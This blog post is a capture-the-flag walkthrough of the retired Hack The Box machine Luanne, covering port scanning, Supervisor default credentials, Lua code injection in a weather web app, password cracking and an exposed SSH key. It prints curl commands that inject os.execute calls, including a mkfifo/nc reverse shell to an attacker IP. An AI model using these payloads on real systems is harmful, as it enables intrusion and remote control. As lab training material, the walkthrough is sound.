This post documents the complete walkthrough of Luanne, a retired vulnerable VM created by polarbearer, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Luanne is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.218 --rate=1000

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-02 07:55:24 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 9001/tcp on 10.10.10.218
Discovered open port 22/tcp on 10.10.10.218
Discovered open port 80/tcp on 10.10.10.218

Open port 9001/tcp looks interesting. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,80,9001 -A --reason 10.10.10.218 -oN nmap.txt
...
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
|   3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
|   521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_  256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp   open  http    syn-ack ttl 63 nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
| http-methods:
|_  Supported Methods: GET HEAD POST
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open  http    syn-ack ttl 63 Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response

Hmm, NetBSD eh… This is what the site looks like navigating to /weather.

Damn!

Directory/File Enumeration

Let’s see what gobuster and SecLists have to offer.

# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 20 -x lua -u http://10.10.10.218/weather/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.218/weather/
[+] Threads:        20
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     lua
[+] Timeout:        10s
===============================================================
2020/12/02 08:39:41 Starting gobuster
===============================================================
/forecast (Status: 200)
===============================================================
2020/12/02 08:40:25 Finished
===============================================================

This is what you get when you navigate to /weather/forecast.

By appending ?city=list to /weather/forecast, this is what you get.

Let’s put this aside and explore the other http service.

Supervisor HTTP Server

It’s trivial to uncover the default username and password (user:123) for Supervisor HTTP Server from the official documentation.

And this is what it looks like after authentication.

The processes stdout contains plenty of juicy information.

USER         PID %CPU %MEM    VSZ   RSS TTY   STAT STARTED    TIME COMMAND
root           0  0.0  0.2      0 10764 ?     DKl   5:59AM 0:45.44 [system]
root           1  0.0  0.0  19848  1524 ?     Is    5:59AM 0:00.02 init
root         163  0.0  0.0  32528  2304 ?     Ss    5:59AM 0:00.37 /usr/sbin/syslogd -s
r.michaels   185  0.0  0.0  34996  2012 ?     Is    6:00AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www
nginx        271  0.0  0.1  33684  3348 ?     I     6:00AM 3:02.47 nginx: worker process
root         298  0.0  0.0  19704  1336 ?     Is    5:59AM 0:00.00 /usr/sbin/powerd
root         299  0.0  0.0  33372  1832 ?     Is    6:00AM 0:00.00 nginx: master process /usr/pkg/sbin/nginx
_httpd       336  0.0  0.3 120320 17988 ?     Ss    6:00AM 1:10.00 /usr/pkg/bin/python3.8 /usr/pkg/bin/supervisord-3.8
root         348  0.0  0.0  75140  2940 ?     Is    6:00AM 0:00.09 /usr/sbin/sshd
_httpd       376  0.0  0.0  34952  2012 ?     Is    6:00AM 1:40.30 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
root         402  0.0  0.0  23564  1656 ?     Is    6:00AM 0:00.24 /usr/sbin/cron
_httpd      2115  0.0  0.0  35252  2340 ?     I     1:23PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
_httpd      2234  0.0  0.0      0     0 ?     R          - 0:00.00 /usr/bin/egrep ^USER| \\[system\\] *$| init *$| /usr/sbin/sshd *$| /usr/sbin/syslogd -s *$| /usr/pkg/bin/python3.8 /usr/pkg/bin/supervisord-3.8 *$| /usr/sbin/cron *$| /usr/sbin/powerd *$| /usr/libexec/httpd -u -X -s.*$|^root.* login *$| /usr/libexec/getty Pc ttyE.*$| nginx.*process.*$ (sh)
_httpd     20004  0.0  0.0  35252  2340 ?     I     9:59AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
root         421  0.0  0.0  19784  1588 ttyE1 Is+   6:00AM 0:00.00 /usr/libexec/getty Pc ttyE1
root         388  0.0  0.0  19780  1580 ttyE2 Is+   6:00AM 0:00.00 /usr/libexec/getty Pc ttyE2
root         433  0.0  0.0  21088  1596 ttyE3 Is+   6:00AM 0:00.00 /usr/libexec/getty Pc ttyE3

We now know that Lua is used for the weather web application and the developer is likely r.michaels.

Lua Code Injection

It’s equally trivial to discover a Lua error in the weather web application.

# curl http://10.10.10.218/weather/forecast?city=$(urlencode "');")
<br>Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value

Let’s see if we can execute shell commands with os.execute.

# curl http://10.10.10.218/weather/forecast?city=$(urlencode "');os.execute('nc 10.10.16.125 1234')--")

Awesome.

Foothold

With that, we can get ourselves a shell.

# curl http://10.10.10.218/weather/forecast?city=$(urlencode "');os.execute('rm -rf /tmp/p; mkfifo
/tmp/p; /bin/sh </tmp/p | nc 10.10.16.125 1234 >/tmp/p')--")

During enumeration of the _httpd account, I notice the presence of .htpasswd in /var/www, which is also the home directory of _httpd.

Let’s have a go at it with JtR.

The password is iamthebest. :laughing:

Getting user.txt

We know from the processes stdout above that the web application is really running locally at 3000/tcp, proxied through Nginx’s 80/tcp.

/usr/pkg/etc/nginx/nginx.conf
    server {
        listen       80;
        server_name  localhost;

        #charset koi8-r;

        #access_log  /var/log/nginx/host.access.log  main;

        location / {
            root   share/examples/nginx/html;
            index  index.html index.htm;
        }

        location = / {
            proxy_pass http://127.0.0.1:3000/index.html;
        }

        location = /robots.txt {
            root /var/www/;
        }

        location /weather/forecast {
            proxy_pass http://127.0.0.1:3000/weather/forecast;
        }

        #error_page  404              /404.html;

        # redirect server error pages to the static page /50x.html
        #
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   share/examples/nginx/html;
        }

        # proxy the PHP scripts to Apache listening on 127.0.0.1:80
        #
        #location ~ \.php$ {
        #    proxy_pass   http://127.0.0.1;
        #}

        # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
        #
        #location ~ \.php$ {
        #    root           html;
        #    fastcgi_pass   127.0.0.1:9000;
        #    fastcgi_index  index.php;
        #    fastcgi_param  SCRIPT_FILENAME  /scripts$fastcgi_script_name;
        #    include        /usr/pkg/etc/nginx/fastcgi_params;
        #}

        # deny access to .htaccess files, if Apache's document root
        # concurs with nginx's one
        #
        #location ~ /\.ht {
        #    deny  all;
        #}
    }

But there’s another port, 3001/tcp from the processes stdout! Both ports are running off the bozotic HTTP server.

Not only that, looks like r.michaels plugged the gap in this one. We need another way in.

The Bozotic HTTP Server

If you look at the processes stdout for 3001/tcp closely and compare it with the httpd command options above, you’ll notice something interesting.

/usr/libexec/httpd \
  -u \
  -X \
  -s \
  -i 127.0.0.1 \
  -I 3001 \
  -L weather /home/r.michaels/devel/webapi/weather.lua \
  -P /var/run/httpd_devel.pid \
  -U r.michaels \
  -b /home/r.michaels/devel/www

~user/public_html support is enabled! Let’s give it a shot.

Argh, HTTP Basic Authorization is enabled. Maybe (webapi_user:iamthebest) will work?

Awesome. What do we have here? id_rsa??? Seriously, who leaves id_rsa in their public_html directory?

With that, we should be able to log in as r.michaels via SSH and retrieve user.txt.

Privilege Escalation

During enumeration of r.michaels’ account, I notice the presence of a backup directory which appears to contain an encrypted file.

In addition, r.michaels is able to doas root.

netpgp(1)

If I had to guess, I would say that the file was encrypted with netpgp(1), judging from the presence of the .gnupg directory in the home directory.

After extracting the backup archive, there’s another .htpasswd that’s different from the previous one.

Nothing too hard for JtR.

The password is littlebear. :sweat_smile:

Getting root.txt

I sense the end is near…

:dancer: